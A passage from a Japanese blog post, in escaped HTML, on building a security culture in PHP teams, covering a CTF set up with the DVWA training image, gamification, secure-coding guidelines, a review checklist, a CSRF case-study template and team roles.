\u5b9f\u8df5\u7684\u306a\u5b66\u7fd2\u4f53\u9a13<\/h5>\n\n\n\n<p>\u7406\u8ad6\u3060\u3051\u3067\u306a\u304f\u3001\u5b9f\u8df5\u7684\u306a\u4f53\u9a13\u3092\u901a\u3058\u3066\u5b66\u3076\u6a5f\u4f1a\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3CTF\uff08Capture The Flag\uff09\u306e\u958b\u50ac\n# \u30c1\u30fc\u30e0\u5185\u3067\u5b89\u5168\u306a\u74b0\u5883\u3067\u8106\u5f31\u6027\u3092\u63a2\u7d22\u30fb\u60aa\u7528\u3059\u308b\u7af6\u6280\u3092\u5b9f\u65bd\ndocker run --name security-ctf -p 8080:80 -d vulnerables\/web-dvwa\n<\/pre>\n\n\n\n<p><strong>\u5b9f\u8df5\u7684\u306a\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0\u30a2\u30d7\u30ed\u30fc\u30c1<\/strong>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u8106\u5f31\u306a\u30b3\u30fc\u30c9\u30ec\u30d3\u30e5\u30fc\u6f14\u7fd2<\/strong>\uff1a\u610f\u56f3\u7684\u306b\u8106\u5f31\u6027\u3092\u542b\u3080PHP\u30b3\u30fc\u30c9\u3092\u30ec\u30d3\u30e5\u30fc\u3057\u3001\u554f\u984c\u70b9\u3092\u7279\u5b9a\u3059\u308b\u7df4\u7fd2<\/li>\n\n\n\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d0\u30b0\u30d0\u30a6\u30f3\u30c6\u30a3\u30c7\u30fc<\/strong>\uff1a\u30c1\u30fc\u30e0\u5168\u4f53\u3067\u81ea\u793e\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3092\u63a2\u3059\u65e5\u3092\u8a2d\u5b9a<\/li>\n\n\n\n<li><strong>\u30da\u30a2\u30d7\u30ed\u30b0\u30e9\u30df\u30f3\u30b0\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d5\u30a9\u30fc\u30ab\u30b9<\/strong>\uff1a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u7126\u70b9\u3092\u5f53\u3066\u305f\u30da\u30a2\u30d7\u30ed\u30b0\u30e9\u30df\u30f3\u30b0\u30bb\u30c3\u30b7\u30e7\u30f3<\/li>\n<\/ul>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-229\">3. \u30b2\u30fc\u30df\u30d5\u30a3\u30b1\u30fc\u30b7\u30e7\u30f3<\/h5>\n\n\n\n<p>\u5b66\u7fd2\u3092\u697d\u3057\u304f\u3001\u7af6\u4e89\u7684\u306a\u4f53\u9a13\u306b\u3059\u308b\u3053\u3068\u3067\u3001\u53c2\u52a0\u610f\u6b32\u3092\u9ad8\u3081\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5b66\u7fd2\u306e\u30b2\u30fc\u30df\u30d5\u30a3\u30b1\u30fc\u30b7\u30e7\u30f3\u4f8b\n$leaderboard = [\n    'achievements' =&gt; [\n        'vulnerability_hunter' =&gt; '\u8106\u5f31\u6027\u30925\u3064\u767a\u898b',\n        'secure_coder' =&gt; '100%\u5b89\u5168\u306a\u30b3\u30fc\u30c9\u30ec\u30d3\u30e5\u30fc\u309210\u56de\u9054\u6210',\n        'security_mentor' =&gt; '3\u4eba\u4ee5\u4e0a\u306e\u540c\u50da\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b9\u30ad\u30eb\u3092\u6559\u6388',\n        'ctf_champion' =&gt; '\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3CTF\u3067\u512a\u52dd',\n    ],\n    'rewards' =&gt; [\n        'conference_ticket' =&gt; '\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ab\u30f3\u30d5\u30a1\u30ec\u30f3\u30b9\u3078\u306e\u53c2\u52a0\u6a5f\u4f1a',\n        'certification_support' =&gt; '\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a8d\u5b9a\u8cc7\u683c\u306e\u53d6\u5f97\u652f\u63f4',\n        'special_recognition' =&gt; '\u5168\u793e\u4f1a\u8b70\u3067\u306e\u8868\u5f70',\n    ]\n];\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-230\">\u958b\u767a\u30d7\u30ed\u30bb\u30b9\u3078\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7d71\u5408<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-231\">1. \u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u30ac\u30a4\u30c9\u30e9\u30a4\u30f3\u306e\u78ba\u7acb<\/h5>\n\n\n\n<p>PHP\u958b\u767a\u306b\u7279\u5316\u3057\u305f\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306e\u30ac\u30a4\u30c9\u30e9\u30a4\u30f3\u3092\u78ba\u7acb\u3057\u3001\u5168\u54e1\u304c\u53c2\u7167\u3067\u304d\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>PHP\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u30ac\u30a4\u30c9\u30e9\u30a4\u30f3\u306e\u4f8b<\/strong>\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/**\n * PHP\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u30ac\u30a4\u30c9\u30e9\u30a4\u30f3\n * \n * 1. \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u30a2\u30af\u30bb\u30b9\n *    - \u5e38\u306b\u30d7\u30ea\u30da\u30a2\u30fc\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u3092\u4f7f\u7528\u3059\u308b\n *    - ORM\/\u30af\u30a8\u30ea\u30d3\u30eb\u30c0\u30fc\u3092\u512a\u5148\u7684\u306b\u4f7f\u7528\u3059\u308b\n *    - \u751f\u306eSQL\u3092\u76f4\u63a5\u9023\u7d50\u3057\u306a\u3044\n * \n * 2. \u51fa\u529b\u30a8\u30b9\u30b1\u30fc\u30d7\n *    - \u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u306b\u5fdc\u3058\u305f\u9069\u5207\u306a\u30a8\u30b9\u30b1\u30fc\u30d7\u95a2\u6570\u3092\u4f7f\u7528\u3059\u308b\n *    - HTML\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8: htmlspecialchars()\n *    - JavaScript\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8: json_encode()\n *    - URL\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8: urlencode()\n * \n * 3. \u30d5\u30a1\u30a4\u30eb\u64cd\u4f5c\n *    - \u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306b\u57fa\u3065\u304f\u30d5\u30a1\u30a4\u30eb\u30d1\u30b9\u3092\u76f4\u63a5\u4f7f\u7528\u3057\u306a\u3044\n *    - \u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u5bfe\u7b56\u3092\u5b9f\u88c5\u3059\u308b\n *    - \u30d5\u30a1\u30a4\u30eb\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u306f\u53b3\u5bc6\u306b\u691c\u8a3c\u3059\u308b\n *\/\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-232\">2. \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\u30ea\u30b9\u30c8\u306e\u6d3b\u7528<\/h5>\n\n\n\n<p>\u958b\u767a\u3068\u30ec\u30d3\u30e5\u30fc\u306e\u30d7\u30ed\u30bb\u30b9\u3067\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\u30ea\u30b9\u30c8\u3092\u6d3b\u7528\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30b3\u30fc\u30c9\u30ec\u30d3\u30e5\u30fc\u6642\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\u30ea\u30b9\u30c8\u4f8b<\/strong>\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\u25a1 \u30e6\u30fc\u30b6\u30fc\u5165\u529b\u306f\u9069\u5207\u306b\u691c\u8a3c\u30fb\u30b5\u30cb\u30bf\u30a4\u30ba\u3055\u308c\u3066\u3044\u308b\u304b\n\u25a1 SQL\u30af\u30a8\u30ea\u306f\u30d7\u30ea\u30da\u30a2\u30fc\u30c9\u30b9\u30c6\u30fc\u30c8\u30e1\u30f3\u30c8\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u304b\n\u25a1 \u51fa\u529b\u306f\u9069\u5207\u306b\u30a8\u30b9\u30b1\u30fc\u30d7\u3055\u308c\u3066\u3044\u308b\u304b\n\u25a1 \u30bb\u30c3\u30b7\u30e7\u30f3\u7ba1\u7406\u306f\u5b89\u5168\u306b\u5b9f\u88c5\u3055\u308c\u3066\u3044\u308b\u304b\n\u25a1 \u8a8d\u8a3c\u30fb\u8a8d\u53ef\u306e\u30c1\u30a7\u30c3\u30af\u306f\u9069\u5207\u306b\u884c\u308f\u308c\u3066\u3044\u308b\u304b\n\u25a1 \u6a5f\u5bc6\u60c5\u5831\u306f\u30bd\u30fc\u30b9\u30b3\u30fc\u30c9\u5185\u306b\u30cf\u30fc\u30c9\u30b3\u30fc\u30c9\u3055\u308c\u3066\u3044\u306a\u3044\u304b\n\u25a1 \u30a8\u30e9\u30fc\u30e1\u30c3\u30bb\u30fc\u30b8\u306f\u9069\u5207\u306b\u51e6\u7406\u3055\u308c\u3066\u3044\u308b\u304b\n\u25a1 \u30d5\u30a1\u30a4\u30eb\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u6a5f\u80fd\u306f\u5b89\u5168\u306b\u5b9f\u88c5\u3055\u308c\u3066\u3044\u308b\u304b\n\u25a1 CSRF\u30c8\u30fc\u30af\u30f3\u304c\u9069\u5207\u306b\u5b9f\u88c5\u3055\u308c\u3066\u3044\u308b\u304b\n\u25a1 \u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u306b\u65e2\u77e5\u306e\u8106\u5f31\u6027\u306f\u306a\u3044\u304b\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-233\">3. \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d3\u30e5\u30fc\u30d7\u30ed\u30bb\u30b9\u306e\u78ba\u7acb<\/h5>\n\n\n\n<p>\u901a\u5e38\u306e\u30b3\u30fc\u30c9\u30ec\u30d3\u30e5\u30fc\u3068\u306f\u5225\u306b\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u7279\u5316\u3057\u305f\u30ec\u30d3\u30e5\u30fc\u30d7\u30ed\u30bb\u30b9\u3092\u78ba\u7acb\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d3\u30e5\u30fc\u30d7\u30ed\u30bb\u30b9\u306e\u4f8b<\/strong>\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u8a08\u30ec\u30d3\u30e5\u30fc<\/strong>\uff1a\u8a2d\u8a08\u6bb5\u968e\u3067\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u8003\u616e<\/li>\n\n\n\n<li><strong>\u8105\u5a01\u30e2\u30c7\u30ea\u30f3\u30b0\u30bb\u30c3\u30b7\u30e7\u30f3<\/strong>\uff1a\u65b0\u6a5f\u80fd\u306e\u5b9f\u88c5\u524d\u306b\u6f5c\u5728\u7684\u306a\u8105\u5a01\u3092\u7279\u5b9a<\/li>\n\n\n\n<li><strong>\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d3\u30e5\u30fc<\/strong>\uff1a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u5f71\u97ff\u3059\u308b\u91cd\u8981\u306a\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u306e\u8a73\u7d30\u30ec\u30d3\u30e5\u30fc<\/li>\n\n\n\n<li><strong>\u30ea\u30ea\u30fc\u30b9\u524d\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d3\u30e5\u30fc<\/strong>\uff1a\u30ea\u30ea\u30fc\u30b9\u524d\u306e\u6700\u7d42\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-234\">\u77e5\u8b58\u5171\u6709\u3068\u30b3\u30df\u30e5\u30cb\u30b1\u30fc\u30b7\u30e7\u30f3<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-235\">1. \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ca\u30ec\u30c3\u30b8\u30d9\u30fc\u30b9\u306e\u69cb\u7bc9<\/h5>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u95a2\u3059\u308b\u77e5\u8b58\u3084\u4e8b\u4f8b\u3092\u5171\u6709\u3059\u308b\u5834\u3092\u4f5c\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ca\u30ec\u30c3\u30b8\u30d9\u30fc\u30b9\u306e\u69cb\u6210\u4f8b\n$securityKnowledgeBase = [\n    'secure_patterns' =&gt; [\n        'authentication' =&gt; [\n            'two_factor_auth_implementation.md',\n            'secure_password_recovery.md'\n        ],\n        'input_validation' =&gt; [\n            'input_filtering_best_practices.md',\n            'type_validation_examples.php'\n        ],\n        'session_management' =&gt; [\n            'secure_session_configuration.md',\n            'session_fixation_prevention.php'\n        ]\n    ],\n    'vulnerability_case_studies' =&gt; [\n        'sql_injection_incident_2023.md',\n        'xss_vulnerability_analysis.md'\n    ],\n    'security_tools' =&gt; [\n        'static_analysis_setup_guide.md',\n        'automated_security_scanning.md'\n    ]\n];\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-236\">2. \u5b9a\u671f\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30df\u30fc\u30c6\u30a3\u30f3\u30b0<\/h5>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u95a2\u3059\u308b\u60c5\u5831\u5171\u6709\u3068\u8b70\u8ad6\u306e\u5834\u3092\u5b9a\u671f\u7684\u306b\u8a2d\u3051\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30df\u30fc\u30c6\u30a3\u30f3\u30b0\u306e\u5f62\u5f0f\u4f8b<\/strong>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u9031\u6b21\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b9\u30bf\u30f3\u30c9\u30a2\u30c3\u30d7<\/strong>\uff1a15\u5206\u9593\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u95a2\u9023\u306e\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u5171\u6709<\/li>\n\n\n\n<li><strong>\u6708\u6b21\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d3\u30e5\u30fc<\/strong>\uff1a\u767a\u898b\u3055\u308c\u305f\u8106\u5f31\u6027\u3068\u5bfe\u5fdc\u306e\u632f\u308a\u8fd4\u308a<\/li>\n\n\n\n<li><strong>\u56db\u534a\u671f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d7\u30e9\u30f3\u30cb\u30f3\u30b0<\/strong>\uff1a\u6b21\u306e\u56db\u534a\u671f\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u76ee\u6a19\u8a2d\u5b9a<\/li>\n\n\n\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d6\u30e9\u30a6\u30f3\u30d0\u30c3\u30b0\u30e9\u30f3\u30c1<\/strong>\uff1a\u663c\u98df\u6642\u306e\u975e\u516c\u5f0f\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c8\u30d4\u30c3\u30af\u8b70\u8ad6<\/li>\n<\/ul>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-237\">3. \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e8b\u4f8b\u306e\u5171\u6709<\/h5>\n\n\n\n<p>\u5b9f\u969b\u306e\u8106\u5f31\u6027\u4e8b\u4f8b\u3084\u5bfe\u5fdc\u6210\u529f\u4e8b\u4f8b\u3092\u5171\u6709\u3057\u3001\u5b66\u3073\u3092\u4fc3\u9032\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u4e8b\u4f8b\u5171\u6709\u306e\u4f8b<\/strong>\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e8b\u4f8b\u5171\u6709\u30d5\u30a9\u30fc\u30de\u30c3\u30c8\n\n## \u4e8b\u4f8b\u30bf\u30a4\u30c8\u30eb: \u30e6\u30fc\u30b6\u30fc\u7de8\u96c6\u6a5f\u80fd\u306b\u304a\u3051\u308bCSRF\u306e\u767a\u898b\u3068\u4fee\u6b63\n\n### \u72b6\u6cc1:\n\u30e6\u30fc\u30b6\u30fc\u30d7\u30ed\u30d5\u30a3\u30fc\u30eb\u7de8\u96c6\u6a5f\u80fd\u306b\u304a\u3044\u3066\u3001CSRF\u30c8\u30fc\u30af\u30f3\u691c\u8a3c\u304c\u4e0d\u8db3\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u767a\u898b\u3055\u308c\u305f\n\n### \u767a\u898b\u65b9\u6cd5:\n\u5b9a\u671f\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ec\u30d3\u30e5\u30fc\u4e2d\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30e3\u30f3\u30d4\u30aa\u30f3\u304c\u767a\u898b\n\n### \u6f5c\u5728\u7684\u5f71\u97ff:\n\u653b\u6483\u8005\u304c\u88ab\u5bb3\u8005\u306b\u30ea\u30f3\u30af\u3092\u30af\u30ea\u30c3\u30af\u3055\u305b\u308b\u3053\u3068\u3067\u3001\u88ab\u5bb3\u8005\u306e\u30d7\u30ed\u30d5\u30a3\u30fc\u30eb\u60c5\u5831\u3092\u5909\u66f4\u53ef\u80fd\n\n### \u5bfe\u5fdc:\n1. CSRF\u30c8\u30fc\u30af\u30f3\u751f\u6210\u3068\u691c\u8a3c\u306e\u5b9f\u88c5\n2. \u3059\u3079\u3066\u306e\u30d5\u30a9\u30fc\u30e0\u9001\u4fe1\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u3078\u306e\u9069\u7528\n3. \u81ea\u52d5\u30c6\u30b9\u30c8\u306e\u8ffd\u52a0\n\n### \u5b66\u3073:\n- \u3059\u3079\u3066\u306ePOST\u30ea\u30af\u30a8\u30b9\u30c8\u306bCSRF\u4fdd\u8b77\u304c\u5fc5\u8981\n- \u30d5\u30a9\u30fc\u30e0\u306b\u9650\u3089\u305a\u3001AJAX\u30ea\u30af\u30a8\u30b9\u30c8\u3082\u4fdd\u8b77\u304c\u5fc5\u8981\n- \u30ef\u30f3\u30af\u30ea\u30c3\u30af\u653b\u6483\u306e\u53ef\u80fd\u6027\u3092\u5e38\u306b\u8003\u616e\u3059\u308b\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-238\">\u30c1\u30fc\u30e0\u5185\u3067\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6587\u5316\u306e\u5b9a\u7740<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-239\">1. \u8cac\u4efb\u306e\u5171\u6709<\/h5>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306f\u7279\u5b9a\u306e\u62c5\u5f53\u8005\u3060\u3051\u3067\u306a\u304f\u3001\u3059\u3079\u3066\u306e\u958b\u767a\u8005\u306e\u8cac\u4efb\u3067\u3042\u308b\u3068\u3044\u3046\u8a8d\u8b58\u3092\u6d78\u900f\u3055\u305b\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u5f79\u5272\u5225\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8cac\u4efb\u4f8b<\/strong>\uff1a<\/p>\n\n\n<div id=\"id-44fc68be-0993-43ca-8045-17bc0c435f62\">\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th>\u5f79\u5272<\/th><th>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8cac\u4efb<\/th><\/tr><\/thead><tbody><tr><td>\u958b\u767a\u8005<\/td><td>\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u3001\u8106\u5f31\u6027\u306e\u65e9\u671f\u767a\u898b\u3001\u30e6\u30cb\u30c3\u30c8\u30c6\u30b9\u30c8<\/td><\/tr><tr><td>\u30c6\u30b9\u30bf\u30fc<\/td><td>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u306e\u5b9f\u65bd\u3001\u30a8\u30c3\u30b8\u30b1\u30fc\u30b9\u306e\u691c\u8a3c<\/td><\/tr><tr><td>\u30a2\u30fc\u30ad\u30c6\u30af\u30c8<\/td><td>\u30bb\u30ad\u30e5\u30a2\u306a\u30a2\u30fc\u30ad\u30c6\u30af\u30c1\u30e3\u8a2d\u8a08\u3001\u8105\u5a01\u30e2\u30c7\u30ea\u30f3\u30b0<\/td><\/tr><tr><td>\u30d7\u30ed\u30c0\u30af\u30c8\u30aa\u30fc\u30ca\u30fc<\/td><td>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8981\u4ef6\u306e\u512a\u5148\u9806\u4f4d\u4ed8\u3051\u3001\u30ea\u30b9\u30af\u8a55\u4fa1<\/td><\/tr><tr><td>DevOps<\/td><td>\u30bb\u30ad\u30e5\u30a2\u306a\u74b0\u5883\u69cb\u7bc9\u3001\u81ea\u52d5\u5316\u3055\u308c\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n<h5 class=\"wp-block-heading\" id=\"i-240\">2. \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8ca2\u732e\u306e\u8a55\u4fa1\u3068\u8868\u5f70<\/h5>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3078\u306e\u8ca2\u732e\u3092\u8a55\u4fa1\u3057\u3001\u8868\u5f70\u3059\u308b\u4ed5\u7d44\u307f\u3092\u4f5c\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u8868\u5f70\u5236\u5ea6\u306e\u4f8b<\/strong>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3MVP<\/strong>\uff1a\u56db\u534a\u671f\u3054\u3068\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u6700\u3082\u8ca2\u732e\u3057\u305f\u30e1\u30f3\u30d0\u30fc\u3092\u8868\u5f70<\/li>\n\n\n\n<li><strong>\u8106\u5f31\u6027\u30cf\u30f3\u30bf\u30fc<\/strong>\uff1a\u91cd\u8981\u306a\u8106\u5f31\u6027\u3092\u767a\u898b\u3057\u305f\u30e1\u30f3\u30d0\u30fc\u306e\u8868\u5f70<\/li>\n\n\n\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6539\u5584\u63d0\u6848<\/strong>\uff1a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d7\u30ed\u30bb\u30b9\u306e\u6539\u5584\u306b\u8ca2\u732e\u3057\u305f\u30e1\u30f3\u30d0\u30fc\u306e\u8868\u5f70<\/li>\n<\/ul>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-241\">3. \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d5\u30a3\u30fc\u30c9\u30d0\u30c3\u30af\u30eb\u30fc\u30d7\u306e\u78ba\u7acb<\/h5>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u95a2\u3059\u308b\u30d5\u30a3\u30fc\u30c9\u30d0\u30c3\u30af\u304c\u7d99\u7d9a\u7684\u306b\u884c\u308f\u308c\u308b\u4ed5\u7d44\u307f\u3092\u4f5c\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>\u30d5\u30a3\u30fc\u30c9\u30d0\u30c3\u30af\u30eb\u30fc\u30d7\u306e\u4f8b<\/strong>\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">1. \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u554f\u984c\u306e\u767a\u898b \u2192 2. \u554f\u984c\u306e\u5206\u6790\u3068\u6839\u672c\u539f\u56e0\u306e\u7279\u5b9a \n\u2192 3. \u4fee\u6b63\u3068\u4e88\u9632\u7b56\u306e\u5b9f\u88c5 \u2192 4. \u6559\u8a13\u306e\u5171\u6709\u3068\u30d7\u30ed\u30bb\u30b9\u6539\u5584 \n\u2192 5. \u6539\u5584\u3055\u308c\u305f\u6163\u884c\u306e\u7d99\u7d9a\u7684\u306a\u30e2\u30cb\u30bf\u30ea\u30f3\u30b0\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-242\">\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u610f\u8b58\u5411\u4e0a\u306e\u305f\u3081\u306e\u5b9f\u8df5\u7684\u65bd\u7b56<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30e2\u30d6\u30d7\u30ed\u30b0\u30e9\u30df\u30f3\u30b0<\/strong>\uff1a\u30c1\u30fc\u30e0\u5168\u4f53\u3067\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u7126\u70b9\u3092\u5f53\u3066\u305f\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u30bb\u30c3\u30b7\u30e7\u30f3\u3092\u5b9f\u65bd<\/li>\n\n\n\n<li><strong>\u30d0\u30b0\u30d0\u30a6\u30f3\u30c6\u30a3\u30d7\u30ed\u30b0\u30e9\u30e0<\/strong>\uff1a\u793e\u5185\u3067\u306e\u30d0\u30b0\u767a\u898b\u5831\u5968\u91d1\u5236\u5ea6\u306e\u5c0e\u5165<\/li>\n\n\n\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30cf\u30c3\u30ab\u30bd\u30f3<\/strong>\uff1a\u30c1\u30fc\u30e0\u5168\u4f53\u3067\u53c2\u52a0\u3059\u308b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6539\u5584\u306e\u305f\u3081\u306e\u30cf\u30c3\u30ab\u30bd\u30f3<\/li>\n\n\n\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30cb\u30e5\u30fc\u30b9\u30ec\u30bf\u30fc<\/strong>\uff1a\u6700\u65b0\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u52d5\u